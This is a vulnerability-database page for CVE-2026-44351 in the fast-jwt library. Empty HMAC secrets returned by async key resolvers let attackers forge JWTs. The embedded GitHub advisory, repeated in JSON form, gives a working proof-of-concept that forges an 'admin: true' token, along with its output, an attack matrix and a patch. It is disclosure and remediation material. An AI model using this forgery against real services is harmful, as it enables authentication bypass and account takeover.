Vulnerability-Lookup

CVE-2026-44351 (GCVE-0-2026-44351)

Vulnerability from cvelistv5 – Published: 2026-05-13 19:12 – Updated: 2026-05-14 18:13

Title

fast-jwt: Empty HMAC secret accepted via async key resolver - JWT auth bypass

Summary

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-14 18:13 UTC

CWE

CWE-287 - Improper Authentication
CWE-326 - Inadequate Encryption Strength
CWE-1391 - Use of Weak Credentials

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8035 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/nearform/fast-jwt/security/adv…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
nearform	fast-jwt	Affected: < 6.2.4	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44351

Vulnerability from fkie_nvd - Published: 2026-05-13 20:16 - Updated: 2026-10-26 14:10

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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}

GHSA-GMVF-9V4P-V8JC

Vulnerability from github – Published: 2026-05-06 22:26 – Updated: 2026-05-14 20:42

Summary

fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver

Details

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.

Preconditions

For this issue to occur the following MUST ALL be true:

The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
The library configuration must allow HMAC signatures. This is the default for the library.
The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on fast-jwt@6.2.3:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }

— the attacker-chosen payload is returned as authentic.

Attack matrix verified against fast-jwt@6.2.3:

Resolver shape	`algorithms` option	HS256	HS384	HS512
`async () => ''`	(default)	✅ accept	✅ accept	✅ accept
`(d, cb) => cb(null, '')`	(default)	✅ accept	✅ accept	✅ accept
`async d => keys[d.header.kid] \\|\\| ''`	(default)	✅ accept	✅ accept	✅ accept
`async () => ''`	`['HS256','HS384','HS512']`	✅ accept	✅ accept	✅ accept
`async () => ''`	`['HS256','RS256']`	✅ accept	INVALID_ALG	INVALID_ALG
`async () => ''`	`['RS256']`	INVALID_KEY	INVALID_KEY	INVALID_KEY

The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):

A token signed with the real secret continues to verify correctly. → ACCEPTED.
A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.

Impact

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
Default-config exploitable — the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.

Suggested fix

Reject zero-length HMAC secrets in prepareKeyOrSecret:

 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }
+
+  if (isSecret && (!key || key.length === 0)) {
+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+  }
+
   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.

For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:26:37Z",
    "nvd_published_at": "2026-05-13T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (`\u0027\u0027`), for example via the common `keys[decoded.header.kid] || \u0027\u0027` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027)`, which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `\u0027\u0027` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (typeof key === \u0027string\u0027) {\n    key = Buffer.from(key, \u0027utf-8\u0027)\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)   // \u2190 no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n  ...\n  if (typeof currentKey === \u0027string\u0027) {\n    currentKey = Buffer.from(currentKey, \u0027utf-8\u0027)   // \u0027\u0027 \u2192 Buffer.alloc(0)\n  } else if (!(currentKey instanceof Buffer)) {\n    return callback(... \u0027string or buffer\u0027...)\n  }\n\n  try {\n    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n    // detectPublicKeyAlgorithms(\u0027\u0027) hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n    // branch \u2192 returns hsAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]\n\n    if (validationContext.allowedAlgorithms.length) {\n      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n    } else {\n      validationContext.allowedAlgorithms = availableAlgorithms   // default empty \u2192 HMAC family assigned\n    }\n\n    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n    // \u2192 createSecretKey(Buffer.alloc(0)) \u2014 Node accepts the empty secret silently\n    verifyToken(currentKey, decoded, validationContext)\n  }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === \u0027HS\u0027) {\n  try {\n    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n  } catch { return false }\n}\n```\n\n`crypto.createHmac(\u0027sha256\u0027, emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker\u0027s payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: \u0027\u0027 | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== \u0027function\u0027)` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `\u0027\u0027` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from \u0027fast-jwt\u0027\nimport * as crypto from \u0027node:crypto\u0027\n\nfunction b64url(buf) {\n  return Buffer.from(buf).toString(\u0027base64\u0027)\n    .replace(/=+$/, \u0027\u0027).replace(/\\+/g, \u0027-\u0027).replace(/\\//g, \u0027_\u0027)\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027, kid: \u0027unknown-kid\u0027 }))\nconst payload = b64url(JSON.stringify({\n  sub: \u0027attacker\u0027, admin: true,\n  iat: Math.floor(Date.now() / 1000),\n  exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac(\u0027sha256\u0027, \u0027\u0027).update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to \u0027\u0027 when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n  key: async (decoded) =\u003e ({ \u0027real-kid\u0027: \u0027\u003creal key\u003e\u0027 }[decoded.header.kid] || \u0027\u0027)\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: \u0027attacker\u0027, admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n\u2014 the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `(d, cb) =\u003e cb(null, \u0027\u0027)` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027RS256\u0027]` | \u2705 accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e \u0027\u0027` | `[\u0027RS256\u0027]` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key\u0027s detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. \u2192 ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. \u2192 INVALID_SIGNATURE.\n- The synchronous `key: \u0027\u0027` (string) configuration is correctly rejected. \u2192 MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt\u0027s own README documents, *and* whose resolver can ever return `\u0027\u0027` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || \u0027\u0027` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** \u2014 any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** \u2014 the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` when it sees an empty key.\n4. **Cache amplification** \u2014 once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n   if (typeof key === \u0027string\u0027) {\n     key = Buffer.from(key, \u0027utf-8\u0027)\n   }\n+\n+  if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+    throw new TokenError(TokenError.codes.invalidKey, \u0027HMAC secret key must not be empty.\u0027)\n+  }\n+\n   return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: \u0027\u0027` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104\u0027s recommended minimum HMAC key length (\u2265 output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.",
  "id": "GHSA-gmvf-9v4p-v8jc",
  "modified": "2026-05-14T20:42:20Z",
  "published": "2026-05-06T22:26:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver"
}

Sightings

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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-44351 (GCVE-0-2026-44351)

FKIE_CVE-2026-44351

GHSA-GMVF-9V4P-V8JC

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